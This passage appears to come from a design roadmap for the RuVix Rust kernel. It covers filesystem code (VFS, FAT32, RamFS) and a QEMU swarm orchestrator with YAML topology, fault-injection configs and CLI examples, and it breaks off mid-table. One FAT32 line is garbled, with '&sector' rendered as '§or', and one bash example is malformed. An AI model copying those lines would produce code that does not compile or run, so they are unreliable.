ruvix-fs/src/vfs.rs\n\npub trait Filesystem: Send + Sync {\n fn mount(&mut self, device: &dyn BlockDevice) -> Result<(), FsError>;\n fn open(&self, path: &str, flags: OpenFlags) -> Result<FileHandle, FsError>;\n fn read(&self, handle: FileHandle, buf: &mut [u8]) -> Result<usize, FsError>;\n fn write(&self, handle: FileHandle, buf: &[u8]) -> Result<usize, FsError>;\n fn close(&self, handle: FileHandle);\n fn stat(&self, path: &str) -> Result<Metadata, FsError>;\n fn readdir(&self, path: &str) -> Result<Vec<DirEntry>, FsError>;\n}\n\npub struct Vfs {\n mounts: BTreeMap<PathBuf, Box<dyn Filesystem>>,\n}\n\nimpl Vfs {\n pub fn mount(&mut self, path: &str, fs: Box<dyn Filesystem>) -> Result<(), FsError> {\n self.mounts.insert(PathBuf::from(path), fs);\n Ok(())\n }\n\n pub fn open(&self, path: &str, flags: OpenFlags) -> Result<FileHandle, FsError> {\n let (mount_path, relative_path) = self.resolve_mount(path)?;\n let fs = self.mounts.get(mount_path).ok_or(FsError::NotFound)?;\n fs.open(relative_path, flags)\n }\n}\n```\n\n#### FAT32 (Read-Only)\n\n```rust\n// ruvix-fs/src/fat32.rs\n\npub struct Fat32 {\n device: Box<dyn BlockDevice>,\n bpb: BiosParameterBlock,\n fat_start: u64,\n data_start: u64,\n root_cluster: u32,\n}\n\nimpl Fat32 {\n pub fn mount(device: Box<dyn BlockDevice>) -> Result<Self, FsError> {\n let mut sector = [0u8; 512];\n device.read_block(0, &mut sector)?;\n\n let bpb = BiosParameterBlock::parse(§or)?;\n\n // Validate FAT32 signature\n if bpb.sectors_per_fat_16 != 0 {\n return Err(FsError::InvalidFilesystem);\n }\n\n let fat_start = bpb.reserved_sectors as u64;\n let data_start = fat_start + (bpb.num_fats as u64 * bpb.sectors_per_fat_32 as u64);\n\n Ok(Self {\n device,\n bpb,\n fat_start,\n data_start,\n root_cluster: bpb.root_cluster,\n })\n }\n\n fn read_cluster(&self, cluster: u32, buf: &mut [u8]) -> Result<(), FsError> {\n let sector = self.cluster_to_sector(cluster);\n for i in 0..self.bpb.sectors_per_cluster {\n let offset = i as usize * 512;\n self.device.read_block(sector + i as u64, &mut buf[offset..offset + 512])?;\n }\n Ok(())\n }\n\n fn cluster_to_sector(&self, cluster: u32) -> u64 {\n self.data_start + ((cluster - 2) as u64 * self.bpb.sectors_per_cluster as u64)\n }\n}\n```\n\n#### RamFS\n\n```rust\n// ruvix-fs/src/ramfs.rs\n\npub struct RamFs {\n root: RamFsNode,\n allocator: RegionAllocator,\n}\n\nenum RamFsNode {\n Directory {\n name: String,\n children: Vec<RamFsNode>,\n },\n File {\n name: String,\n data: RegionHandle,\n size: usize,\n },\n}\n\nimpl Filesystem for RamFs {\n fn open(&self, path: &str, flags: OpenFlags) -> Result<FileHandle, FsError> {\n let node = self.resolve_path(path)?;\n match node {\n RamFsNode::File { data, size, .. } => {\n Ok(FileHandle::new(data.clone(), *size, flags))\n }\n RamFsNode::Directory { .. } => Err(FsError::IsDirectory),\n }\n }\n\n fn write(&self, handle: FileHandle, buf: &[u8]) -> Result<usize, FsError> {\n // RamFS supports writes for checkpoints\n let region = handle.region();\n region.write(handle.position(), buf)?;\n Ok(buf.len())\n }\n}\n```\n\n### E.3 New Crates\n\n| Crate | Purpose | Dependencies | Lines of Code (Est.) |\n|-------|---------|--------------|---------------------|\n| **`ruvix-net`** | Ethernet/IP/UDP/ICMP network stack | `ruvix-types`, `ruvix-queue` | ~1,500 |\n| **`ruvix-fs`** | VFS layer, FAT32, RamFS | `ruvix-types`, `ruvix-region` | ~1,800 |\n\n### E.4 Build Path (Weeks 63-74)\n\n| Week | Milestone | Deliverables | Tests |\n|------|-----------|--------------|-------|\n| **63-64** | Block device layer | SD card driver, virtio-blk | Read/write sectors |\n| **65-66** | FAT32 read-only | BPB parsing, cluster chain, directory traversal | Read files from SD |\n| **67-68** | VFS layer | Mount points, path resolution, file handles | Mount FAT32 at /boot |\n| **69-70** | RamFS | In-memory filesystem for /tmp | Checkpoint read/write |\n| **71-72** | Ethernet driver | virtio-net, bcmgenet (Pi4) | Packet TX/RX |\n| **73-74** | IP/UDP/ICMP | ARP, IP routing, UDP sockets, ping | Ping reply, UDP echo |\n\n---\n\n## QEMU Swarm Simulation\n\n### Swarm.1 Architecture\n\nThe QEMU Swarm Simulation system enables testing of distributed RuVix deployments without physical hardware. Multiple QEMU instances run in parallel, connected via virtual networking.\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 QEMU SWARM SIMULATION ARCHITECTURE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 SWARM ORCHESTRATOR \u2502 \u2502\n\u2502 \u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 swarm-ctl \u2502 \u2502\n\u2502 \u2502 \u251c\u2500\u2500 launch : Start N QEMU nodes \u2502 \u2502\n\u2502 \u2502 \u251c\u2500\u2500 connect : Establish virtual network \u2502 \u2502\n\u2502 \u2502 \u251c\u2500\u2500 deploy : Push RVF packages to nodes \u2502 \u2502\n\u2502 \u2502 \u251c\u2500\u2500 monitor : Aggregate console output \u2502 \u2502\n\u2502 \u2502 \u251c\u2500\u2500 inject : Inject faults (network, disk, CPU) \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500 teardown : Graceful shutdown all nodes \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u25bc\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Node 0 \u2502 \u2502Node 1\u2502 \u2502 Node N \u2502 \u2502\n\u2502 \u2502 (QEMU) \u2502 \u2502(QEMU)\u2502 \u2502 (QEMU) \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 ... \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 RuVix \u2502 \u2502 \u2502 \u2502 \u2502 \u2502RuVix \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 Kernel \u2502 \u2502 \u2502 \u2502 \u2502 \u2502Kernel \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u2502 \u2502 \u2514\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 \u2502 \u2502 \u250c\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 virtio \u2502 \u2502 \u2502 \u2502 \u2502 \u2502virtio \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 net \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 net \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u2502 \u2502 \u2514\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 VIRTUAL NETWORK \u2502 \u2502\n\u2502 \u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 TAP interfaces + bridge \u2502 \u2502\n\u2502 \u2502 OR \u2502 \u2502\n\u2502 \u2502 QEMU user-mode networking \u2502 \u2502\n\u2502 \u2502 OR \u2502 \u2502\n\u2502 \u2502 vde_switch for complex topologies \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### Orchestrator Implementation\n\n```rust\n// tools/swarm-ctl/src/main.rs\n\nuse std::process::{Command, Stdio};\nuse std::collections::HashMap;\n\npub struct SwarmOrchestrator {\n nodes: Vec<QemuNode>,\n network: VirtualNetwork,\n console_mux: ConsoleMux,\n}\n\npub struct QemuNode {\n id: usize,\n process: std::process::Child,\n console: UnixStream,\n monitor: UnixStream,\n mac_address: [u8; 6],\n ip_address: Ipv4Addr,\n}\n\nimpl SwarmOrchestrator {\n pub fn launch(&mut self, config: &SwarmConfig) -> Result<(), SwarmError> {\n // Create virtual network\n self.network = VirtualNetwork::create(&config.topology)?;\n\n for i in 0..config.node_count {\n let node = self.spawn_node(i, &config)?;\n self.nodes.push(node);\n }\n\n // Wait for all nodes to boot\n self.wait_for_boot_complete()?;\n\n Ok(())\n }\n\n fn spawn_node(&self, id: usize, config: &SwarmConfig) -> Result<QemuNode, SwarmError> {\n let mac = generate_mac(id);\n let console_sock = format!(\"/tmp/ruvix-swarm-{}-console.sock\", id);\n let monitor_sock = format!(\"/tmp/ruvix-swarm-{}-monitor.sock\", id);\n\n let mut cmd = Command::new(\"qemu-system-aarch64\");\n cmd.args([\n \"-machine\", \"virt,gic-version=3\",\n \"-cpu\", \"cortex-a72\",\n \"-m\", &format!(\"{}M\", config.memory_mb),\n \"-smp\", &format!(\"{}\", config.cpus),\n \"-kernel\", &config.kernel_path,\n \"-drive\", &format!(\"file={},format=raw,if=pflash\", config.rvf_path),\n // Networking\n \"-netdev\", &format!(\"tap,id=net0,ifname=tap{},script=no,downscript=no\", id),\n \"-device\", &format!(\"virtio-net-pci,netdev=net0,mac={}\", mac_to_string(&mac)),\n // Console\n \"-chardev\", &format!(\"socket,id=console,path={},server=on,wait=off\", console_sock),\n \"-serial\", \"chardev:console\",\n // Monitor\n \"-chardev\", &format!(\"socket,id=monitor,path={},server=on,wait=off\", monitor_sock),\n \"-monitor\", \"chardev:monitor\",\n // No graphics\n \"-nographic\",\n ]);\n\n let process = cmd\n .stdin(Stdio::null())\n .stdout(Stdio::null())\n .stderr(Stdio::null())\n .spawn()?;\n\n // Connect to console and monitor sockets\n std::thread::sleep(Duration::from_millis(500));\n let console = UnixStream::connect(&console_sock)?;\n let monitor = UnixStream::connect(&monitor_sock)?;\n\n Ok(QemuNode {\n id,\n process,\n console,\n monitor,\n mac_address: mac,\n ip_address: Ipv4Addr::new(10, 0, 0, (id + 1) as u8),\n })\n }\n}\n```\n\n### Swarm.2 Configuration\n\n#### Node Resource Allocation\n\n```yaml\n# swarm-config.yaml\n\ncluster:\n name: \"ruvix-test-cluster\"\n node_count: 5\n\nnodes:\n default:\n cpus: 2\n memory_mb: 512\n kernel: \"target/aarch64-unknown-none/release/ruvix-kernel\"\n rvf: \"boot.rvf\"\n\n # Override for specific nodes\n coordinator:\n index: 0\n cpus: 4\n memory_mb: 1024\n rvf: \"coordinator.rvf\"\n\n workers:\n indices: [1, 2, 3, 4]\n cpus: 2\n memory_mb: 512\n rvf: \"worker.rvf\"\n```\n\n#### Network Topologies\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 SUPPORTED NETWORK TOPOLOGIES \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 RING TOPOLOGY MESH TOPOLOGY \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 0 \u2502\u25c4\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 0 \u2502 \u2502\n\u2502 \u2514\u2500\u252c\u2500\u2518 \u2502 \u2514\u2500\u252c\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2571 \u2502 \u2572 \u2502\n\u2502 \u25bc \u2502 \u2571 \u2502 \u2572 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2510 \u2502 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2534\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 1 \u2502 \u2502 \u2502 1 \u2502\u25c4\u2500\u2500\u25b6\u2502 \u2502\u25c4\u2500\u2500\u25b6\u2502 2 \u2502 \u2502\n\u2502 \u2514\u2500\u252c\u2500\u2518 \u2502 \u2514\u2500\u252c\u2500\u2518 \u2514\u2500\u2500\u2500\u2518 \u2514\u2500\u252c\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2572 \u2571 \u2502 \u2502\n\u2502 \u25bc \u2502 \u2502 \u2572 \u2571 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2510 \u2502 \u2502 \u2572 \u2571 \u2502 \u2502\n\u2502 \u2502 2 \u2502 \u2502 \u250c\u2500\u2534\u2500\u2510 \u250c\u2500\u2534\u2500\u2510 \u250c\u2500\u2534\u2500\u2510 \u2502\n\u2502 \u2514\u2500\u252c\u2500\u2518 \u2502 \u2502 3 \u2502\u25c4\u2500\u2500\u25b6\u2502 4 \u2502\u25c4\u2500\u2500\u25b6\u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2514\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u25bc \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 3 \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 STAR TOPOLOGY HIERARCHICAL TOPOLOGY \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 1 \u2502 \u2502 2 \u2502 \u2502 0 \u2502 (Coordinator) \u2502\n\u2502 \u2514\u2500\u252c\u2500\u2518 \u2514\u2500\u252c\u2500\u2518 \u2514\u2500\u252c\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2571 \u2502 \u2572 \u2502\n\u2502 \u2514\u2500\u2500\u252c\u2500\u2500\u2500\u2518 \u2571 \u2502 \u2572 \u2502\n\u2502 \u25bc \u2571 \u2502 \u2572 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 0 \u2502 (Hub) \u2502 1 \u2502 \u2502 2 \u2502 \u2502 3 \u2502 (Leaders) \u2502\n\u2502 \u2514\u2500\u252c\u2500\u2518 \u2514\u2500\u252c\u2500\u2518 \u2514\u2500\u252c\u2500\u2518 \u2514\u2500\u252c\u2500\u2518 \u2502\n\u2502 \u2571 \u2502 \u2572 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2571 \u2502 \u2572 \u250c\u2500\u2500\u2534\u2500\u2500\u2510 \u250c\u2500\u2500\u2534\u2500\u2500\u2510 \u250c\u2500\u2500\u2534\u2500\u2500\u2510 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2510 \u25024\u25025\u2502 \u25026\u25027\u2502 \u25028\u25029\u2502 (Workers) \u2502\n\u2502 \u2502 3 \u2502 \u2502 4 \u2502 \u2502 5 \u2502 \u2514\u2500\u2534\u2500\u2518 \u2514\u2500\u2534\u2500\u2518 \u2514\u2500\u2534\u2500\u2518 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n```yaml\n# Network topology configuration\n\nnetwork:\n topology: \"mesh\" # ring | mesh | star | hierarchical\n\n # Mesh-specific: which nodes connect to which\n mesh:\n connectivity: 0.7 # 70% of possible edges exist\n\n # Star-specific: hub node index\n star:\n hub: 0\n\n # Hierarchical-specific\n hierarchical:\n coordinator: 0\n leaders: [1, 2, 3]\n workers_per_leader: 3\n\n # Network parameters\n latency_ms: 1\n bandwidth_mbps: 1000\n packet_loss_percent: 0.0 # For fault injection\n```\n\n#### Fault Injection Scenarios\n\n```yaml\n# fault-injection.yaml\n\nscenarios:\n network_partition:\n description: \"Partition cluster into two halves\"\n trigger: \"manual\"\n action:\n type: \"network_partition\"\n groups:\n - [0, 1, 2]\n - [3, 4]\n duration_s: 30\n\n node_crash:\n description: \"Kill a random worker node\"\n trigger: \"random\"\n probability: 0.01 # per second\n action:\n type: \"kill_node\"\n target: \"random_worker\"\n recovery_s: 10 # restart after\n\n network_delay:\n description: \"Add latency to specific link\"\n trigger: \"manual\"\n action:\n type: \"add_latency\"\n from: 0\n to: 1\n latency_ms: 100\n jitter_ms: 20\n duration_s: 60\n\n disk_failure:\n description: \"Simulate disk I/O errors\"\n trigger: \"manual\"\n action:\n type: \"disk_error\"\n target: 2\n error_rate: 0.1 # 10% of reads/writes fail\n duration_s: 30\n```\n\n### Swarm.3 Use Cases\n\n#### Distributed Consensus Testing\n\n```bash\n# Test Raft consensus under network partition\n./swarm-ctl launch --config swarm-5-node.yaml\n./swarm-ctl deploy --rvf consensus-test.rvf\n\n# Wait for cluster formation\n./swarm-ctl wait --condition \"consensus_formed\"\n\n# Inject network partition\n./swarm-ctl inject --scenario network_partition\n\n# Verify:\n# - Majority partition elects new leader\n# - Minority partition becomes read-only\n# - After healing, cluster converges\n\n./swarm-ctl verify --invariant \"no_split_brain\"\n./swarm-ctl inject --scenario heal_network\n\n./swarm-ctl verify --invariant \"single_leader\"\n./swarm-ctl verify --invariant \"log_consistency\"\n```\n\n#### RVF Package Deployment Across Cluster\n\n```bash\n# Deploy an updated RVF package to all nodes\n./swarm-ctl launch --config swarm-10-node.yaml\n\n# Deploy initial package\n./swarm-ctl deploy --rvf agent-v1.rvf --all\n\n# Rolling update to v2\n./swarm-ctl deploy --rvf agent-v2.rvf --strategy rolling --batch-size 2\n\n# Verify no service disruption\n./swarm-ctl verify --invariant \"service_available\" --throughout-deploy\n\n# Rollback if needed\n./swarm-ctl rollback --to agent-v1.rvf --all\n```\n\n#### Performance Benchmarking Under Load\n\n```bash\n# Launch benchmark cluster\n./swarm-ctl launch --config swarm-benchmark.yaml\n\n# Deploy benchmark workload\n./swarm-ctl deploy --rvf vector-benchmark.rvf\n\n# Generate load\n./swarm-ctl benchmark \\\n --workload \"vector_insert\" \\\n --rate 10000 \\ # ops/sec\n --duration 60 \\\n --collect-metrics\n\n# Results:\n# - Throughput: ops/sec achieved\n# - Latency: p50, p95, p99 in microseconds\n# - CPU utilization per node\n# - Memory usage per node\n# - Network bandwidth utilization\n```\n\n### Swarm.4 Console Multiplexing\n\n```rust\n// tools/swarm-ctl/src/console.rs\n\npub struct ConsoleMux {\n nodes: Vec<NodeConsole>,\n output_mode: OutputMode,\n}\n\npub enum OutputMode {\n /// All output interleaved with node prefixes\n Interleaved,\n /// Each node to separate file\n SeparateFiles,\n /// TUI with panes per node\n Tui,\n}\n\nimpl ConsoleMux {\n pub fn run(&mut self) {\n match self.output_mode {\n OutputMode::Interleaved => {\n // Poll all consoles, prefix output with node ID\n loop {\n for node in &mut self.nodes {\n if let Some(line) = node.read_line() {\n println!(\"[node-{}] {}\", node.id, line);\n }\n }\n std::thread::sleep(Duration::from_millis(10));\n }\n }\n OutputMode::Tui => {\n // Use crossterm/tui-rs for multi-pane display\n self.run_tui();\n }\n OutputMode::SeparateFiles => {\n // Write each node's output to node-N.log\n self.run_file_mode();\n }\n }\n }\n}\n```\n\n### Swarm.5 Build Path (Weeks 75-82)\n\n| Week | Milestone | Deliverables | Tests |\n|------|-----------|--------------|-------|\n| **75-76** | QEMU launcher | Node spawning, console sockets, monitor control | Launch/teardown 5 nodes |\n| **77-78** | Virtual networking | TAP interfaces, bridge setup, vde_switch | Ping between nodes |\n| **79-80** | Orchestrator CLI | swarm-ctl commands, config parsing, status | Full CLI functional |\n| **81-82** | Fault injection | Network partition, node kill, latency injection | Consensus survives faults |\n\n---\n\n## Phase Timeline Summary\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 RUVIX DEVELOPMENT TIMELINE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 PHASE \u2502 WEEKS \u2502 DURATION \u2502 KEY DELIVERABLES \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 Phase A \u2502 1-18 \u2502 18 weeks \u2502 Linux-hosted nucleus, 12 syscalls \u2502\n\u2502 (Complete) \u2502 \u2502 \u2502 760 tests passing \u2502\n\u2502 